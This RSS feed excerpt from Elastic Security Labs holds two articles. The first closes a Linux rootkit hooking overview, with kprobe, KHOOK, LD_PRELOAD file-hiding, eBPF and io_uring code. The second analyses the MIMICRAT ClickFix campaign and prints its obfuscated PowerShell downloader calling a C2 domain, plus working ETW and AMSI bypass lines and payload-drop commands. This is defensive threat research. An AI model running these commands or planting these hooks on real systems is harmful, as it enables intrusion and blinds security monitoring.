<p>While ftrace hooking is powerful, it’s constrained by environment and privilege boundaries (if used from outside the kernel). It requires access to the tracing interface (debugfs) and <code>CAP_SYS_ADMIN</code> privileges, which may be unavailable on hardened or containerized systems where even UID 0 is restricted by namespaces, LSMs, or Secure Boot lockdown policies. Debugfs may also be unmounted or read-only in production for security reasons. Thus, while a fully privileged root user can typically use ftrace, modern defenses often disable or limit these capabilities, reducing the practicality of ftrace-based hooks in highly hardened environments.</p>
<h4>Kprobes Hooking</h4>
<p>Kprobes is another kernel feature intended for debugging and instrumentation, which attackers have repurposed for rootkit hooking. Kprobes allow one to dynamically break into almost any kernel routine at runtime by registering a probe handler. When the specified instruction is about to execute, the kprobe infrastructure saves state and transfers control to the custom handler. After the handler runs (you can even alter registers or the instruction pointer), the kernel resumes normal execution of the original code. In simpler terms, kprobes let you attach a custom callback to an arbitrary point in kernel code (function entry, specific instruction, etc.), somewhat like a breakpoint with a handler.<br />
Using kprobes for malicious hooking usually involves intercepting a function to either prevent it from doing something or to grab some info. A common use in modern rootkits: since many important symbols (like <code>sys_call_table</code> or <code>kallsyms_lookup_name</code>) are no longer exported, a rootkit can deploy a kprobe on a function that does have access to that symbol and steal it. A kprobe structure and registration are shown below.</p>
<pre><code class="language-c">// Declare a kprobe targeting the symbol &quot;kallsyms_lookup_name&quot;
static struct kprobe kp = {
    .symbol_name = &quot;kallsyms_lookup_name&quot;
};

// Function pointer type matching kallsyms_lookup_name
typedef unsigned long
    (*kallsyms_lookup_name_t)(const char *name);

// Global pointer to the resolved kallsyms_lookup_name
kallsyms_lookup_name_t kallsyms_lookup_name;

// Register the kprobe; kernel resolves kp.addr
// to the address of the symbol
register_kprobe(&amp;kp);

// Assign resolved address to our function pointer
kallsyms_lookup_name =
    (kallsyms_lookup_name_t) kp.addr;

// Unregister the kprobe (only needed it once)
unregister_kprobe(&amp;kp);

</code></pre>
&lt;center&gt;*Kprobes hooking code example*&lt;/center&gt;
<p>This probe is used to retrieve the symbol name for <code>kallsyms_lookup_name</code>, typically a precursor to syscall table hooking. Although not present in the initial commits, a recent update to Diamorphine used this technique. It places a kprobe to grab the pointer of <code>kallsyms_lookup_name</code> itself (or uses a kprobe on a known function to indirectly get what it needs). Similarly, other rootkits use a temporary kprobe to locate symbols, then unregister it once done, moving on to perform hooks via other means. Kprobes can also be used to directly hook behavior (not just find addresses). Or a jprobe (a specialized kprobe) can redirect a function entirely. However, using kprobes to fully replace functionality is tricky and not commonly done, because it’s simpler to either patch or use ftrace if you want to consistently hijack a function. Kprobes are often used for intermittent or auxiliary hooking.</p>
<p>Kprobes are useful but limited: they add runtime overhead and can destabilize systems if placed on very hot or restricted low-level functions (recursive probes are suppressed), so attackers must pick probe points carefully; they’re also auditable and can trigger kernel warnings or be logged by system auditing, and active probes are viewable under <code>/sys/kernel/debug/kprobes/list</code> (so unexpected entries are suspicious); some kernels may be built without kprobe/debug support.</p>
<h4>Kernel Hook Framework</h4>
<p>As mentioned earlier, with the Reptile rootkit, attackers sometimes create higher-level frameworks to manage their hooks. Kernel Hook (KHOOK) is one such framework (developed by the author of Reptile) that abstracts away the dirty work of inline patching and provides a cleaner interface for rootkit developers. Essentially, KHOOK is a library that allows you to specify a function to hook and your replacement, and it handles modifying the kernel code while providing a trampoline to call the original function safely. To illustrate, here’s an example of how one might use a KHOOK-like macro (based on Reptile’s usage) to hook the kill syscall:</p>
<pre><code class="language-c">// Creates a replacement for sys_kill:
// long sys_kill(long pid, long sig)
KHOOK_EXT(long, sys_kill, long, long);

static long khook_sys_kill(long pid, long sig) {
    // Signal 0 is used to check if a process
    // exists (without sending a signal)
    if (sig == 0) {
        // If the target is invisible (hidden by
        // a rootkit), pretend it doesn't exist
        if (is_proc_invisible(pid)) {
            return -ESRCH; // No such process
        }
    }

    // Otherwise, forward the call to the original sys_kill syscall
    return KHOOK_ORIGIN(sys_kill, pid, sig);
}
</code></pre>
&lt;center&gt;*KHOOK code example*&lt;/center&gt;
<p>KHOOK operates via inline function patching, overwriting function prologues with a jump to attacker-controlled handlers. The example above illustrates how <code>sys_kill()</code> is redirected to a malicious handler if the kill signal is 0.</p>
<p>Although KHOOK simplifies inline patching, it still inherits all its drawbacks: it modifies kernel text to insert jump stubs, so protections like kernel lockdown, Secure Boot, or <code>W^X</code> can block it. They are also architecture- and version-dependent (commonly limited to x86 and fails on kernel 5.x+), making them fragile across builds.</p>
<h3>Hooking Techniques in Userspace</h3>
<p>Userspace hooking is a technique that targets the libc layer, or other shared libraries accessed via the dynamic linker, to intercept common API calls used by user tools. Examples of these calls include <code>readdir</code>, <code>getdents</code>, <code>open</code>, <code>fopen</code>, <code>fgets</code>, and <code>connect</code>. By interposing replacement functions, an attacker can manipulate ordinary userland tools like <code>ps</code>, <code>ls</code>, <code>lsof</code>, and <code>netstat</code> to return altered or &quot;sanitized&quot; views. This is used to conceal processes, files, sockets, or hide evidence of malicious code.</p>
<p>The common methods for implementing this mirror how the dynamic linker resolves symbols or involve modifying process memory. These methods include using the <code>LD_PRELOAD</code> environment variable or <code>LD_AUDIT</code> to force an early load of a malicious shared object (.so) file, modifying ELF DT_* entries or library search paths to prioritize a hostile library, or performing runtime GOT/PLT overwrites within a process. Overwriting the GOT/PLT typically involves changing memory protection settings (<code>mprotect</code>), writing the new code (<code>write</code>), and then restoring the original settings (<code>restore</code>) after injection.</p>
<p>A hooked function usually calls the real libc symbol using <code>dlsym(RTLD_NEXT, ...)</code> for its normal operation. It then filters or alters the results only for targets it intends to hide. A basic example of a <code>LD_PRELOAD</code> filter for the <code>readdir()</code> function is shown below.</p>
<pre><code class="language-c">#define _GNU_SOURCE       // GNU extensions (RTLD_NEXT)
#include &lt;dlfcn.h&gt;        // dlsym(), RTLD_NEXT
#include &lt;dirent.h&gt;       // DIR, struct dirent, readdir()
#include &lt;string.h&gt;       // strstr()

// Pointer to the original readdir()
static struct dirent *(*real_readdir)(DIR *d);

struct dirent *readdir(DIR *d) {
    if (!real_readdir) // resolve original once
        real_readdir =
            dlsym(RTLD_NEXT, &quot;readdir&quot;);
    struct dirent *ent;
    // Fetch next dir entry from real readdir
    while ((ent = real_readdir(d)) != NULL) {
        // If name contains the secret marker,
        // skip this entry (hide it)
        if (strstr(ent-&gt;d_name, &quot;.secret&quot;))
            continue;
        return ent; // return visible entry
    }
    return NULL; // no more entries
}

</code></pre>
<p>This example replaces <code>readdir()</code> in-process by providing a library resolved before the real <code>libc</code>, effectively hiding filenames that match a filter. Historic user-mode hiding tools and lightweight “rootkits” have used <code>LD_PRELOAD</code> or GOT/PLT patching to hide processes, files, and sockets. Attackers also inject shared objects into specific services to achieve targeted stealth without needing kernel modules.</p>
<p>Userspace interposition affects only processes that load the malicious library (or are injected into). It’s fragile for system-wide persistence (service/unit files, sanitized environments, setuid/static binaries complicate it). Detection is straightforward relative to kernel hooks: check for suspicious <code>LD_PRELOAD</code>/<code>LD_AUDIT</code> entries, unexpected mapped shared objects in <code>/proc/&lt;pid&gt;/maps</code>, mismatches between on-disk libraries and in-memory imports, or altered GOT entries. Integrity tools, service supervisors (systemd), and simple process memory inspection will usually expose this technique.</p>
<h3>Hooking Techniques Using eBPF</h3>
<p>A more recent rootkit implementation model involves the abuse of eBPF (extended Berkeley Packet Filter). eBPF is a subsystem in Linux that allows privileged users to load bytecode programs into the kernel. While often described as a &quot;sandboxed VM,&quot; its security actually relies on a static verifier that ensures the bytecode is safe (no infinite loops, no illegal memory access) before it is JIT-compiled into native machine code for near-zero-latency execution.</p>
<p>Instead of inserting an LKM to modify kernel behavior, an attacker can load one or more eBPF programs that attach to sensitive kernel events. For instance, one can write an eBPF program that attaches to the system call entry for <code>execve</code> (via a kprobe or tracepoint), allowing it to monitor or manipulate process execution. Similarly, eBPF can hook at the LSM layer (like program execution notifications) to prevent certain actions or hide them. An example is displayed below.</p>
<pre><code class="language-c">// Attach this eBPF program to the tracepoint for sys_enter_execve
SEC(&quot;tp/syscalls/sys_enter_execve&quot;)
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
    // Get the current process's PID and TID as a 64-bit value
    // Upper 32 bits = PID, Lower 32 bits = TID
    __u64 pid_tgid = bpf_get_current_pid_tgid();

    // Delegate handling logic to a helper function
    return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

</code></pre>
&lt;center&gt;*eBPF hooking code example*&lt;/center&gt;
<p>Two prominent public examples are TripleCross and Boopkit. TripleCross demonstrated a rootkit that used eBPF to hook syscalls like execve for persistence and hiding. Boopkit used eBPF as a covert communication channel and backdoor, by attaching eBPF programs that could manipulate socket buffers (allowing a remote party to communicate with the rootkit through crafted packets). These are proof-of-concept projects, but they proved the viability of eBPF in rootkit development.</p>
<p>Main advantages are that eBPF hooking does not require an LKM to be loaded and is compatible with modern kernel protections. For eBPF-supported kernels, this is a strong technique. But although they are powerful, they are also constrained. They need elevated privileges to load, are limited by the verifier’s safety checks, are ephemeral across reboots (requiring separate persistence), and are increasingly discoverable by auditing/forensic tools. The usage of eBPF will especially be visible on systems that typically do not use eBPF tooling.</p>
<h2>Evasion Techniques Using io_uring</h2>
<p>While <code>io_uring</code> is not used for hooking, it deserves a honorable mention as a recent addition to the EDR evasion techniques used by rootkits. <code>io_uring</code> is an asynchronous, ring-buffer-based I/O API that lets processes submit batches of I/O requests (SQEs) and reap completions (CQEs) with minimal syscall overhead. It is not a hooking framework, but its design changes the syscall/visibility surface and exposes powerful kernel-facing primitives (registered buffers, fixed files, mapped rings) that attackers can abuse for stealthy I/O, syscall-evading workflows, or, when combined with a vulnerability, as an exploit primitive that leads to installing hooks at a lower layer.</p>
<p>Attack patterns fall into two classes: (1) <em>evasion/performance abuse</em>: a malicious process uses <code>io_uring</code> to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns; and (2) <em>exploit enabling</em>: bugs in <code>io_uring</code> surfaces (ring mappings, registered resources) have historically been the vector for privilege escalation, after which an attacker can install kernel hooks by more traditional means. <code>io_uring</code> also bypasses some libc wrappers if code submits operations directly, so userland hooking that intercepts libc calls may be circumvented. A simple submit/reap flow is illustrated below:</p>
<pre><code class="language-c">// Minimal io_uring usage (error handling omitted)

// io_uring context (SQ/CQ rings shared with kernel)
struct io_uring ring;

// Initialize ring with space for 16 SQEs
io_uring_queue_init(16, &amp;ring, 0);

// Grab a free submission entry (or NULL if full)
struct io_uring_sqe *sqe =
    io_uring_get_sqe(&amp;ring);

// Prepare SQE as a read(fd, buf, len, offset=0)
io_uring_prep_read(sqe, fd, buf, len, 0);

// Submit pending SQEs to the kernel (non-blocking)
io_uring_submit(&amp;ring);

struct io_uring_cqe *cqe;
// Block until a completion is available
io_uring_wait_cqe(&amp;ring, &amp;cqe);
// Mark the completion as handled (free slot)
io_uring_cqe_seen(&amp;ring, cqe);

</code></pre>
<p>The example above shows a submission queue feeding many file ops into the kernel with a single or a few <code>io_uring_enter</code> syscalls, reducing per-operation syscall telemetry.</p>
<p>Adversaries interested in stealthy data collection or high-throughput exfiltration may switch to <code>io_uring</code> to reduce syscall noise. <code>io_uring</code> does not inherently install global hooks or change other processes’ behavior; it is process-local unless combined with privilege escalation. Detection is possible by instrumenting the <code>io_uring</code> syscalls (<code>io_uring_enter</code>, <code>io_uring_register</code>) and watching for anomalous patterns: unusually large batches, many registered files/buffers, or processes that perform heavy batched metadata operations. Kernel version differences also matter: <code>io_uring</code> features evolve quickly, so attacker techniques may be version-dependent. Finally, because <code>io_uring</code> requires a running malicious process, defenders can often interrupt it and inspect its rings, registered files, and memory mappings to uncover misuse.</p>
<h2>Conclusion</h2>
<p>Hooking techniques in Linux have come a long way from simply overwriting a pointer in a table. We now see attackers exploiting legitimate kernel instrumentation frameworks (ftrace, kprobes, eBPF) to implant hooks that are harder to detect. Each method, from IDT and syscall table patches to inline hooks and dynamic probes, has its own trade-offs in stealth and stability. Defenders need to be aware of all these possible vectors. In practice, modern rootkits often combine multiple hooking techniques to achieve their goals. For example, PUMAKIT uses a direct syscall table hook and ftrace hooks, and Diamorphine uses syscall hooks plus a kprobe to get around symbol hiding. This layered approach means detection tools must check many facets of the system: IDT entries, syscall tables, model-specific registers (for sysenter hooks), integrity of function prologues, contents of critical function pointers in structures (VFS, etc.), active ftrace ops, registered kprobes, and loaded eBPF programs.</p>
<p>In part two of this series, we move from theory to practice. Armed with the understanding of rootkit taxonomy and hooking techniques covered here, we will focus on detection engineering, building and applying practical detection strategies to identify these threats in real-world Linux environments.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/linux-part-1-header.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[MIMICRAT: ClickFix Campaign Delivers Custom RAT via Compromised Legitimate Websites]]></title>
            <link>https://www.elastic.co/pt/security-labs/mimicrat-custom-rat-mimics-c2-frameworks</link>
            <guid>mimicrat-custom-rat-mimics-c2-frameworks</guid>
            <pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovered a ClickFix campaign using compromised legitimate sites to deliver a five-stage chain ending in MIMICRAT, a custom native C RAT with malleable C2, token theft, and SOCKS5 tunneling.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified an active ClickFix campaign compromising multiple legitimate websites to deliver a multi-stage malware chain. Unlike simpler ClickFix deployments that terminate at commodity infostealers, this campaign ends with a capable custom remote access trojan (RAT)  we have called <strong>MIMICRAT:</strong> a native C implant with malleable C2 profiles, token impersonation, SOCKS5 tunneling, and a 22-command dispatch table.</p>
<p>The campaign demonstrates a high level of operational sophistication: compromised sites spanning multiple industries and geographies serve as delivery infrastructure, a multi-stage PowerShell chain performs ETW and AMSI bypass before dropping a Lua-scripted shellcode loader, and the final implant communicates over HTTPS on port 443 using HTTP profiles that resemble legitimate web analytics traffic.</p>
<h3>Key takeaways</h3>
<ul>
<li>Multiple legitimate websites were compromised to deliver a five-stage attack chain.</li>
<li>The Lua loader executes embedded shellcode.</li>
<li><strong>MIMICRAT</strong> is a bespoke native C++ RAT with malleable C2 profiles, Windows token theft, and SOCKS5 proxy.</li>
</ul>
<h2>Discovery</h2>
<p>Elastic Security Labs first identified this campaign in early February 2026 through endpoint telemetry flagging suspicious PowerShell execution with obfuscated command-line arguments.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image1.png" alt="Telemetry: Obfuscated powershell execution" /></p>
<p>Given the novelty of the final payload, <a href="https://x.com/soolidsnakee/status/2021601599894819142">we publicly disclosed initial indicators via social media</a> on February 11, 2026 to ensure the broader security community could begin hunting for and defending against this threat while our full analysis was underway. The campaign remains active as of this publication.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image7.png" alt="" /></p>
<p>Researchers at Huntress have <a href="https://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis">documented</a> related ClickFix campaigns using similar infrastructure and techniques, indicating the breadth of this threat actor's operations across multiple parallel campaigns.</p>
<h3>Campaign Delivery</h3>
<p>The campaign's delivery relies entirely on compromising legitimate, trusted websites rather than attacker-owned infrastructure. The entry point for victims is bincheck[.]io, a legitimate Bank Identification Number (BIN) validation service. The threat actor compromised this site and injected a malicious JavaScript snippet that dynamically loads an external script hosted at <code>https://www.investonline[.]in/js/jq.php</code>, a second compromised site, a legitimate Indian mutual fund investment platform <strong>(Abchlor Investments Pvt. Ltd.)</strong>. The external script is named to impersonate the jQuery library, blending into the page's existing resource load.</p>
<p>It is this remotely loaded script (<code>jq.php</code>) that delivers the ClickFix lure: a fake Cloudflare verification page instructing the victim to manually paste and execute a command to &quot;fix&quot; a problem. The lure copies a malicious PowerShell command directly to the victim's clipboard and prompts them to open a Run dialog (<code>Win+R</code>) or PowerShell prompt and paste it. This technique bypasses browser-based download protections entirely, as no file is downloaded.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image8.png" alt="bincheck.io page source showing the injected script loading jq.php from investonline.in" /></p>
<p>This multidimensional compromise relies on a victim-facing website loading a malicious script from a second compromised website, distributes detection risk and increases the perceived legitimacy of the lure to both users and automated security tools. The campaign supports 17 languages, with the lure content dynamically localized based on the victim's browser language settings to broaden its effective reach. Identified victims span multiple geographies, including a USA-based university and multiple Chinese-speaking users documented in public forum discussions, suggesting broad opportunistic targeting.</p>
<p>The following is the list of supported languages by the ClickFix:</p>
<ul>
<li>English</li>
<li>Chinese</li>
<li>Russian</li>
<li>Spanish</li>
<li>French</li>
<li>German</li>
<li>Portuguese</li>
<li>Japanese</li>
<li>Korean</li>
<li>Italian</li>
<li>Turkish</li>
<li>Polish</li>
<li>Dutch</li>
<li>Vietnamese</li>
<li>Arabic</li>
<li>Hindi</li>
<li>Indonesian</li>
</ul>
<h2>Code analysis</h2>
<p>Once the victim executes the clipboard command, the campaign unfolds across five distinct stages: an obfuscated PowerShell downloader contacts the C2 to retrieve a second-stage script that patches Windows event logging(<a href="https://learn.microsoft.com/en-us/windows-hardware/test/wpt/event-tracing-for-windows">ETW</a>) and antivirus scanning(<a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a>) before dropping a Lua-based loader; the loader decrypts and executes shellcode entirely in memory; and the shellcode ultimately delivers <strong>MIMICRAT</strong>, a capable RAT designed for persistent access and lateral movement.</p>
<h3>Stage 1 Powershell one liner command</h3>
<p>The clipboard-delivered command is a compact and obfuscated PowerShell one-liner:</p>
<pre><code class="language-c">powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
</code></pre>
<p>The command uses string slicing and arithmetic index operations on a single seed string (<code>aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf</code>) to reconstruct both the target domain and the invocation mechanism at runtime, avoiding any plaintext representation of the C2 domain or PowerShell cmdlet names in the initial payload. The window is minimized (<code>-WInDo Min</code>). The extracted domain is <code>xMRi.neTwOrk</code>, which resolves to <code>45.13.212.250</code>, and downloads a second-stage PowerShell script.</p>
<p>Infrastructure pivoting on <code>45.13.212.250</code> via VirusTotal relations revealed a second domain, <code>WexMrI.CC</code>, resolving to the same IP. Both domains share the same mixed-case formatting obfuscation pattern.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image5.png" alt="PowerShell deobfuscation in a debug session $HDjo resolves to WexMrI.CC" /></p>
<h3>Stage 2 Obfuscated Powershell script</h3>
<p>The downloaded second-stage PowerShell script is significantly more elaborated. All strings are constructed at runtime by resolving arithmetic expressions to ASCII characters:</p>
<pre><code class="language-c">$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: &quot;System.Diagnostics.Eventing.EventProvider&quot;
</code></pre>
<p>This technique renders the script opaque to static analysis and signature-based detection while remaining fully functional at runtime. A dummy class declaration is included as a decoy and<br />
the script executes four sequential operations:</p>
<h4>ETW Bypass</h4>
<p>The script accesses the internal <code>m_enabled</code> field of the <code>System.Diagnostics.Eventing.EventProvider</code> class via reflection and patches its value to <code>0</code>, effectively disabling Event Tracing for Windows and blinding PowerShell script block logging.</p>
<pre><code class="language-c">[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
</code></pre>
<h4>AMSI Bypass</h4>
<p>The script then uses reflection to access <code>System.Management.Automation.AmsiUtils</code> and sets the <code>amsiInitFailed</code> field to <code>$true</code>, causing PowerShell to skip all AMSI content scanning for the remainder of the session.</p>
<pre><code class="language-c">[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
</code></pre>
<h4>AMSI - Memory Patching</h4>
<p>The script performs runtime method handle patching via <code>Marshal.Copy</code> in an additional but less common defense evasion step overwriting method pointers in memory to redirect execution away from monitored code paths. This targets the function <code>ScanContent</code> under <code>System.Management.Automation.AmsiUtils</code> to an empty generate method.</p>
<pre><code class="language-c">$ScanContent_func = [Ref].Assembly.GetType(&quot;System.Management.Automation.AmsiUtils&quot;).GetMethods(&quot;NonPublic,Static&quot;) | Where-Object Name -eq &quot;ScanContent&quot;
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq &quot;FHVcGSwOEM&quot;

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

</code></pre>
<h4>Payload Delivery</h4>
<p>With event logging and AV scanning disabled, the script decodes a base64-encoded ZIP archive, extracts it to a randomly named directory under <code>%ProgramData%</code>/<code>knz_{random}</code>, and executes the contained binary <code>zbuild.exe</code>. Temporary artifacts are cleaned up post-execution.</p>
<pre><code class="language-c">$extractTo = Join-Path $env:ProgramData (&quot;knz_{0}&quot; -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
</code></pre>
<h3>Stage 3 Lua loader</h3>
<p>The dropped binary is a custom Lua 5.4.7 loader. It embeds a Lua interpreter statically.<br />
The binary decrypts an embedded Lua script using a XOR stub at runtime, then executes it. The XOR decryption routine (<code>fxh::utility::lua_script_xor_decrypt</code>) iterates over the encrypted buffer XORing each byte against a key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image3.png" alt="XOR decryption routine in the Lua loader" /></p>
<p>The Lua script implements a custom Base64 decoder with a non-standard alphabet to decode an embedded shellcode. The decoded shellcode is then allocated in executable memory via <code>luaalloc</code>, copied into that memory with <code>luacpy</code>, and finally executed via <code>luaexe</code>, achieving fully in-memory, fileless shellcode execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image10.png" alt="Decrypted Lua script" /></p>
<h3>Stage 4 shellcode</h3>
<p>Shellcode matched Meterpreter-related signatures, suggesting the shellcode stage is a loader consistent with the Meterpreter code-family to reflectively load <strong>MIMICRAT</strong> into memory.</p>
<h3>Stage 5 MIMICRAT</h3>
<p>The final payload with compilation metadata set to <strong>January 29 2026</strong> is a native MSVC x64 PEcompiled with Microsoft Visual Studio linker version 14.44. It does not match any known open-source C2 framework exactly, implementing its own malleable HTTP C2 profiles with ASCII-character-based command dispatch and a custom architecture.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image6.png" alt="VirusTotal detection page" /></p>
<h4>C2 Configuration and communication</h4>
<p><strong>MIMICRAT</strong>'s configuration is stored in the <code>.data</code> section. It contains cryptographic keys, connection parameters, and two complete HTTP communication profiles. All header strings and URIs are hex-encoded ASCII, and decoded at runtime.</p>
<p>The C2 operates over HTTPS on port 443 with a 10-second callback interval. The C2 server hostname (<code>d15mawx0xveem1.cloudfront.net</code>) is RC4 encrypted with the following RC4 key <code>@z1@@9&amp;Yv6GR6vp#SyeG&amp;ZkY0X74%JXLJEv2Ci8&amp;J80AlVRJk&amp;6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5</code>.</p>
<p>The implant uses HTTPS for communication with a layered encryption scheme: an embedded RSA-1024 public key handles asymmetric session key exchange.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image4.png" alt="Importing rsa public key" /></p>
<p>While AES is used for symmetric encryption of C2 traffic it uses a hardcoded IV <code>abcdefghijklmnop</code> and a runtime calculated key which derived from a SHA-256 hash value of a randomly generated alpha-numeric value example <code>9ZQs0p0gfpOj3Y02.</code></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image2.png" alt="AES encryption" /></p>
<p>The following are the profile used by the sample for POST and GET requests:</p>
<h5>HTTP GET Profile: Check-in and Tasking</h5>
<table>
<thead>
<tr>
<th align="center">Component</th>
<th align="center">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">URI</td>
<td align="center"><code>/intake/organizations/events?channel=app</code></td>
</tr>
<tr>
<td align="center">User-Agent</td>
<td align="center"><code>Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045</code></td>
</tr>
<tr>
<td align="center">Referer</td>
<td align="center"><code>[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)</code></td>
</tr>
<tr>
<td align="center">Accept-Language</td>
<td align="center"><code>zh-CN,zh;q=0.9</code></td>
</tr>
<tr>
<td align="center">Cookies</td>
<td align="center"><code>AFUAK</code>, <code>BLA</code>, <code>HFK</code></td>
</tr>
</tbody>
</table>
<h5>HTTP POST Profile: Data Exfiltration</h5>
<table>
<thead>
<tr>
<th>Component</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>URI</td>
<td><code>/discover/pcversion/metrics?clientver=ds</code></td>
</tr>
<tr>
<td>Referer</td>
<td><code>[https://gsov.google.com/](https://gsov.google.com/)</code></td>
</tr>
<tr>
<td>Cookies</td>
<td><code>ARCHUID</code>, <code>BRCHD</code>, <code>ZRCHUSR</code></td>
</tr>
</tbody>
</table>
<h4>Command Dispatch</h4>
<p><strong>MIMICRAT implements</strong> a total of 22 distinct commands to provide post-exploitation capabilities like process and file system control, interactive shell access, token manipulation, shellcode injection, and SOCKS proxy tunneling. The beacon interval and jitter are operator-configurable at runtime via dedicated commands. The following is a summarized table of all the implemented commands:</p>
<table>
<thead>
<tr>
<th>Cmd ID</th>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Exit</td>
<td>Terminates the implant process</td>
</tr>
<tr>
<td>4</td>
<td>Set beacon interval</td>
<td>Configures sleep duration and jitter</td>
</tr>
<tr>
<td>5</td>
<td>Change directory</td>
<td>Changes the current working directory</td>
</tr>
<tr>
<td>10</td>
<td>Write file</td>
<td>Writes a C2-supplied payload to disk (overwrite)</td>
</tr>
<tr>
<td>11</td>
<td>Read file</td>
<td>Reads a file from disk and exfiltrates contents to C2</td>
</tr>
<tr>
<td>12</td>
<td>Spawn process</td>
<td>Launches a process using a stolen token if available, falling back to standard execution</td>
</tr>
<tr>
<td>28</td>
<td>Revert impersonation</td>
<td>Reverts token impersonation and clears token state</td>
</tr>
<tr>
<td>31</td>
<td>Steal token</td>
<td>Duplicates the security token of a target process by PID</td>
</tr>
<tr>
<td>32</td>
<td>List processes</td>
<td>Enumerates running processes with PID, PPID, user, domain, and architecture</td>
</tr>
<tr>
<td>33</td>
<td>Kill process</td>
<td>Terminates a process by PID</td>
</tr>
<tr>
<td>39</td>
<td>Get current directory</td>
<td>Returns the current working directory to C2</td>
</tr>
<tr>
<td>53</td>
<td>List files</td>
<td>Lists files and directories with timestamps and sizes</td>
</tr>
<tr>
<td>54</td>
<td>Create directory</td>
<td>Creates a directory on disk</td>
</tr>
<tr>
<td>55</td>
<td>List drives</td>
<td>Enumerates logical drives</td>
</tr>
<tr>
<td>56</td>
<td>Delete file/directory</td>
<td>Deletes a file or removes a directory</td>
</tr>
<tr>
<td>67</td>
<td>Append to file</td>
<td>Appends C2-supplied data to an existing file</td>
</tr>
<tr>
<td>73</td>
<td>Copy file</td>
<td>Copies a file from source to destination</td>
</tr>
<tr>
<td>74</td>
<td>Move/rename file</td>
<td>Moves or renames a file</td>
</tr>
<tr>
<td>78</td>
<td>Interactive shell</td>
<td>Opens a persistent interactive CMD shell over a pipe</td>
</tr>
<tr>
<td>100</td>
<td>Inject shellcode</td>
<td>Reflective shellcode injection</td>
</tr>
<tr>
<td>101</td>
<td>SOCKS</td>
<td>Configures SOCKS proxy channel or stop it</td>
</tr>
<tr>
<td>102</td>
<td>SOCKS proxy</td>
<td>Shares handler with command 101; Most likely a placeholder command</td>
</tr>
</tbody>
</table>
<h3>Infrastructure</h3>
<p>The campaign's network infrastructure clusters into two primary groups:</p>
<h3>Cluster A — Initial Payload Delivery (<code>45.13.212.251</code> / <code>45.13.212.250</code>)</h3>
<p>Multiple domains point to this IP range, including <code>xMRi.neTwOrk</code> and <code>WexMrI.CC</code>. Domain naming uses mixed-case obfuscation. This infrastructure serves the second-stage PowerShell script and the embedded payload ZIP.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image9.png" alt="VirusTotal relations for 45.13.212.251 showing multiple campaign domains resolving to this IP" /></p>
<h3>Cluster B  Post-Exploitation C2 (<code>23.227.202.114</code>)</h3>
<p>Associated with <code>www.ndibstersoft[.]com</code> and observed in beacon communications from the dropped file. This represents the operator's post-exploitation C2 channel.</p>
<p><strong>CloudFront C2 Relay</strong><br />
